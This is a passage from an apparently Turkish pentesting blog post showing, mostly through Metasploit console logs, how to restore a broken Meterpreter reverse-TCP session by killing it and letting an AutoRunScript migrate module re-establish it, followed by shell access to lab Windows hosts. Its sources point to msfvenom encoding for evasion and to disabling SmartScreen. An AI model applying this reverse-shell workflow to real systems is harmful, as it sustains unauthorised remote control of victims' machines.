durumu çözmek için teknolojinin altın kuralı olan aç kapa işlemini yapmak yeterlidir. Yani gelen ama kullanılamayan bozuk session'ı kill yapıp sonlandırmalıyız. Bunun akabinde sonlandırdığımız session'ın geldiği kurban sistem için AutoRunScript'i kendiliğinden tekrar çalışacaktır ve AutoRunScript'teki migrate modülü bu sefer sağlıklı bir şekilde işlemini gerçekleştirip bozuk gelen session'ı çalışır durumda sunacaktır.

Örneğin bu olayı deneyimlediğim durumlardan bir tanesini ve çözüm uygulaması sonrası sorunun hallolduğunu gösteren komut ve çıktı dizisini aşağıda vermiş bulunmaktayım:

Olay

Seri gelen session'lardan bazısının elde edilememesi

Çözüm

Elde edilemeyen (yani bozuk elde edilen) session'ı sonlandırmak ve kendiliğinden tekrar başlamasını beklemek

Kayıtlar

Kali Linux 2018:

...
msf exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.3.73:443

msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77
[*] Meterpreter session 1 opened (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14 01:21:08 -0500
[*] Sending stage (179779 bytes) to 172.16.3.105
[*] Meterpreter session 2 opened (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14 01:21:09 -0500
[*] Session ID 1 (172.16.3.73:443 -> 172.16.3.77:1044) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against PENTEST-WINXP
[*] Current server process: putty.exe (2788)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2884
[*] Sending stage (179779 bytes) to 172.16.3.111
[*] Meterpreter session 3 opened (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14 01:21:10 -0500
[*] Session ID 2 (172.16.3.73:443 -> 172.16.3.105:49159) processing AutoRunScript 'post/windows/manage/migrate'

[*] Running module against WIN-VJ7UU9G4VTO
[*] Current server process: putty.exe (812)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 772
[*] Session ID 3 (172.16.3.73:443 -> 172.16.3.111:5914) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against SGELPENTEST01
[*] Current server process: putty.exe (1996)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 12892
[+] Successfully migrated to process 2884
[+] Successfully migrated to process 12892

(Benim Not)

3ncü session'ın migrate işlemi başarılı olduğuna dair çıktıya yansıyan bir şey yok.

msf exploit(multi/handler) > sessions

Active sessions
==========

Id	Type	Information	Connection
1	meterpreter x86/windows	PENTEST @ PENTEST-WINXP	172.16.3.73:443 -> 172.16.3.77:1044 (172.16.3.77)
2	meterpreter x86/windows	WIN\Administrator @ WIN-VJ7UU9G4VTO	172.16.3.73:443 -> 172.16.3.105:49159 (172.16.3.105)
3	meterpreter x86/windows	SGELPENTEST01@ SGELPENTEST01	172.16.3.73:443 -> 172.16.3.111:5914 (172.16.3.111)

(Benim Not)

Bir tanesinin migrate işlemi meçhul olmasına rağmen 3 session elde edildi diye listeye gelebilmekte. Birinci session çalışıyor mu testi yapılır:

msf exploit(multi/handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > shell
Process 3064 created.
Channel 1 created.
Microsoft Windows XP [S�r�m 5.1.2600]
(C) Telif Hakk� 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest\Desktop>exit

(Benim Not)

Birinci session çalışıyor.

meterpreter > background
msf exploit(multi/handler) > sessions

Active sessions
==========

Id	Type	Information	Connection
1	meterpreter x86/windows	PENTEST @ PENTEST-WINXP	172.16.3.73:443 -> 172.16.3.77:1044 (172.16.3.77)
2	meterpreter x86/windows	WIN\Administrator @ WIN-VJ7UU9G4VTO	172.16.3.73:443 -> 172.16.3.105:49159 (172.16.3.105)
3	meterpreter x86/windows	SGELPENTEST01@ SGELPENTEST01	172.16.3.73:443 -> 172.16.3.111:5914 (172.16.3.111)

(Benim Not)

İkinci session çalışıyor mu testi yapılır.

msf exploit(multi/handler) > sessions -i 2

[*] Starting interaction with 2...

meterpreter > shell
[-] Error running command shell: Rex::TimeoutError Operation timed out.

(Benim Not)

İkinci session bozuk durumda. Şimdi meterpreter oturumundan geri dönelim ve bu session'ı sonlandıralım.

meterpreter > background
msf exploit(multi/handler) > sessions -k 2

[*] Killing the following session(s): 2
[*] Killing session 2
[*] 172.16.3.105 - Meterpreter session 2 closed.

(Benim Not)

Normalde bu sonlandırma işlemi sonrası

msf exploit(multi/handler) >

satırı komut satırımıza gelmeliydi. Ancak AutoRunScript arkada tekrar devreye girip session'ı restore ettiğine dair çıktıları ekrana veriyor.

[*] Sending stage (179779 bytes) to 172.16.3.105
[*] Meterpreter session 4 opened (172.16.3.73:443 -> 172.16.3.105:49160) at 2018-11-14 01:24:51 -0500
[*] Session ID 4 (172.16.3.73:443 -> 172.16.3.105:49160) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against WIN-VJ7UU9G4VTO
[*] Current server process: cmd.exe (772)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 408
[+] Successfully migrated to process 408

(Benim Not)

Bakalım restore edilmiş bozuk session şu an çalışıyor mu?

msf exploit(multi/handler) > sessions

Active sessions
==========

Id	Type	Information	Connection
1	meterpreter x86/windows	PENTEST @ PENTEST-WINXP	172.16.3.73:443 -> 172.16.3.77:1044 (172.16.3.77)
3	meterpreter x86/windows	SGELPENTEST01@ SGELPENTEST01	172.16.3.73:443 -> 172.16.3.111:5914
4	meterpreter x86/windows	WIN\Administrator @ WIN-VJ7UU9G4VTO	172.16.3.73:443 -> 172.16.3.105:49159 (172.16.3.105)

msf exploit(multi/handler) > sessions -i 4

[*] Starting interaction with 4...

meterpreter > shell

Process 1836 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop>dir

Volume in drive C has no label.
Volume Serial Number is B213-F16D

Directory of C:\Users\Administrator\Desktop

12.11.2018 07:30   <DIR>   .
12.11.2018 07:30   <DIR>   ..
09.11.2018 14:32   61.952 deneme.exe

```
08.11.2018  15:46           111.104 notepad.exe
12.11.2018  07:29           810.496 putty.exe
               3 File(s)        983.552 bytes
               2 Dir(s)  26.989.809.664 bytes free

C:\Users\Administrator\Desktop>
```

(+) (Benim Not)

Görüldüğü üzere artık session düzgün çalışıyor ve session'ın bulunduğu sistemdeki dosyaları sorunsuzca listeleyebiliyoruz.

~~~~~~

Kaynaklar

https://security.stackexchange.com/questions/154245/encode-an-executable-file-multiple-time-using-msf-venom
https://www.howtogeek.com/75356/how-to-turn-off-or-disable-the-smartscreen-filter-in-windows-8/
https://kb.help.rapid7.com/discuss/59b2f9100d38c800107859dc
https://kb.help.rapid7.com/discuss/598ab88172371b000f5a4675
// Online oyunlarda FPS Drop denilen sıkıntıyı yaşamamak ya da olabildiğince minimize etmek isteyen tayfa genellikle windows güvenlik mekanizmalarını ve daha birçok şeyi disable edebilmekteler. Dolayısıyla aşağıdaki Windows Defender Smart Filter'ı disable edebilecek dışarıda yığınca oyun meraklısı insan vardır.
https://www.howtogeek.com/75356/how-to-turn-off-or-disable-the-smartscreen-filter-in-windows-8/
~~~~~~